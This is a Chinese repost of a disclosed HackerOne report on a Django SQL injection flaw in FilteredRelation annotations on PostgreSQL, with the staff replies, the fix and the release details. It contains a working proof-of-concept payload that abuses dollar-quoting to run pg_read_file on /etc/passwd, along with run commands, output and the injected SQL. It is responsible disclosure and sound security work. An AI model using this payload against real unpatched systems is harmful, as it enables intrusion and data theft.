Django框架PostgreSQL下FilteredRelation注解SQL注入漏洞深度剖析

本文详细分析了Django框架中的一个高危SQL注入漏洞(CVE-2025-13372)。该漏洞源于FORBIDDEN_ALIAS_PATTERN正则表达式的不完整过滤,攻击者通过在PostgreSQL上滥用$符号构造特殊注解名称,可导致部分查询被解释为原始字符串,从而执行任意SQL代码,实现数据窃取甚至远程命令执行。

Django | 报告 #3417967 - 在PostgreSQL上为FilteredRelation添加注解时潜在的SQL注入风险

时间线 ID-verified 已成功完成ID验证的黑客。 stackered 向 Django 提交了一份报告。 2025年11月9日,晚上8:26(UTC)

菜单 菜单

你好 Django 安全团队!

此漏洞与 CVE 2025-57833 和 CVE 2025-59681 相关,源于 FORBIDDEN_ALIAS_PATTERN 中的正则表达式过滤不完整。

在 PostgreSQL 上,$ 符号可用于替换引号,并在类似这样的标签之间构建原始字符串:$$something$$$tag$something$tag$。这可以被滥用来使部分查询被解释为原始字符串,而不是要执行的实际查询。在某些情况下,如下文 PoC 所证明,这允许构建注入攻击。

以下 PoC 可以粘贴到 tests/filtered_relation/tests.py 文件中的 FilteredRelationTests 类内。

代码 代码 代码 • 712 字节

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
1def test_sqli(self):
2        user_data = "$a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1"
3
4        qs = (
5            Book.objects.annotate(**{
6                user_data: FilteredRelation(
7 "editor" ),
8 })
9 .select_related(user_data)
10 )
11
12 try:
13 import django
14 for e in qs.all():
15 print("######### Injected #########")
16 print(e.title)
17 print("############################")
18 except django.db.utils.ProgrammingError as e:
19 print(f"------\n{e}")

此 PoC 将从 PostgreSQL Docker 容器中读取 /etc/passwd,您可以使用以下命令运行该容器:

代码 代码 代码 • 100 字节

1
1docker run --rm -it --net=host --name some-postgis -e POSTGRES_PASSWORD=mysecretpassword -d postgres

tests/test_sqlite.py 文件更改为:

代码 代码 代码 • 226 字节

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
1DATABASES = {
2 "default": {
3 "ENGINE": "django.db.backends.postgresql",
4 "NAME": "django",
5 "USER": "postgres",
6 "PORT": 5432,
7 "HOST": "localhost"
8 },
9}
10SECRET_KEY = "mysecretpassword"

最后,可以使用以下命令执行 PoC:

代码 代码 代码 • 91 字节

1
2
1cd django/tests
2python3 runtests.py filtered_relation.tests.FilteredRelationTests.test_sqli

以下是输出结果,显示文件已在 Docker 容器上被成功读取。

代码 代码 代码 • 1.01 KiB

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
1######### Injected #########
2root:x:0:0:root:/root:/bin/bash
3daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
4bin:x:2:2:bin:/bin:/usr/sbin/nologin
5sys:x:3:3:sys:/dev:/usr/sbin/nologin
6sync:x:4:65534:sync:/bin:/bin/sync
7games:x:5:60:games:/usr/games:/usr/sbin/nologin
8man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
9lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
10mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
11news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
12uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
13proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
14www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
15backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
16list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
17irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
18gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
19nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
20_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
21postgres:x:999:999::/var/lib/postgresql:/bin/bash
22
23############################

实际执行的完整 SQL 查询如下:

代码 代码 代码 • 1.07 KiB

1
1SELECT "filtered_relation_book"."id", "filtered_relation_book"."title", "filtered_relation_book"."author_id", "filtered_relation_book"."editor_id", "filtered_relation_book"."number_editor", "filtered_relation_book"."editor_number", "filtered_relation_book"."state", $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id", $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."name" FROM "filtered_relation_book" INNER JOIN "filtered_relation_editor" $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1 ON ("filtered_relation_book"."editor_id" = $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id")

此漏洞利用之所以在此上下文中有效,是因为用户输入在查询中多次反映,允许关闭 $a$, $b$, $c$, … 等标签,并使大部分查询被解释为 select 语句的原始字符串。

以下是简化后的查询,以便更好地理解:

代码 代码 代码 • 463 字节

1
1SELECT "filtered_relation_book"."id", "filtered_relation_book"."title", "filtered_relation_book"."author_id", "filtered_relation_book"."editor_id", "filtered_relation_book"."number_editor", "filtered_relation_book"."editor_number", "filtered_relation_book"."state", $a$...$a$,$b$...$b$,$c$...$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id")

影响 该漏洞的影响是导致 SQL 注入,允许窃取数据,如 PoC 所演示的读取系统文件,或允许远程命令执行。

修复方案 修复方案包括将 $ 符号添加到 FORBIDDEN_ALIAS_PATTERN 正则表达式中。

jacobtylerwalls Django 员工 发布了一条评论。 2025年11月10日,下午5:15(UTC) 菜单 菜单

你好 stackered,

感谢你的报告。我们将进行调查并尽快回复你。在此期间,请对此信息保密。

如果你还没有,请查看 Django 安全团队评估报告的方式:https://docs.djangoproject.com/en/dev/internals/security/。

请注意,我们完成分析可能需要几周时间。除非你发现了新的相关信息,否则无需催促安全团队。所有报告都力求在行业标准的 90 天内解决。

祝好, Jacob

jacobtylerwalls Django 员工 发布了一条评论。 2025年11月18日,晚上9:39(UTC) 菜单 菜单

你好 stackered,

感谢你的报告和耐心。我们已经确认了该漏洞,并已分配 CVE-2025-13372。

我已附上我们提议的缓解解决方案。你能请测试一下这个补丁以确保它能可靠地修复问题吗?

我们计划在一篇博客文章中提及漏洞的发现者。使用 “stackered” 可以吗?或者你希望以不同的方式署名?

包含此修复的 Django 版本目前计划于 12月2日发布。请在更新版本发布之前对此保密。

0001-Fixed-CVE-2025-13372-Protected-FilteredRelation-agai.patch (F5022077)

再次感谢!

附件 附件 1 个附件 F5022077: 0001-Fixed-CVE-2025-13372-Protected-FilteredRelation-agai.patch

jacobtylerwalls Django 员工 将状态更改为 Triaged(已分类)2025年11月18日,晚上9:40(UTC)

ID-verified 已成功完成ID验证的黑客。 stackered 发布了一条评论。 2025年11月19日,下午1:18(UTC) 菜单 菜单

你好 Jacob,

我已经测试了提议的补丁,并且无法再重现该问题。

署名使用 Stackered 就可以,谢谢。

祝你今天愉快!

nessita Django 员工 关闭了报告并将状态更改为 Resolved(已解决)2 天前 菜单 菜单

此问题已于 2025年12月2日下午2点修复并发布。 发布了 Django 安全版本:5.2.9, 5.1.15, 和 4.2.27 详细信息可在 Django 项目博客上找到: https://www.djangoproject.com/weblog/2025/dec/02/security-releases/

The Internet Bug Bounty 已决定此报告不符合赏金资格。 2 天前 菜单 菜单

Django 不提供安全报告的金钱奖励。 你可以按照以下网址向 Internet Bug Bounty 计划提交问题: https://hackerone.com/ibb

nessita Django 员工 请求披露此报告。 2 天前

stackered 同意披露此报告。 2 天前

此报告已被披露。 2 天前

报告时间 2025年11月9日,晚上8:23(UTC) 报告人 stackered 报告给 Django 参与者 报告 ID #3417967 已解决 严重性 高 (8.1) 披露时间 2025年12月2日,下午3:28(UTC) 弱点 SQL 注入 CVE ID CVE-2025-57833, CVE-2025-59681 赏金 隐藏 账户详情

看起来你的 JavaScript 被禁用了。要使用 HackerOne,请在浏览器中启用 JavaScript 并刷新此页面。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计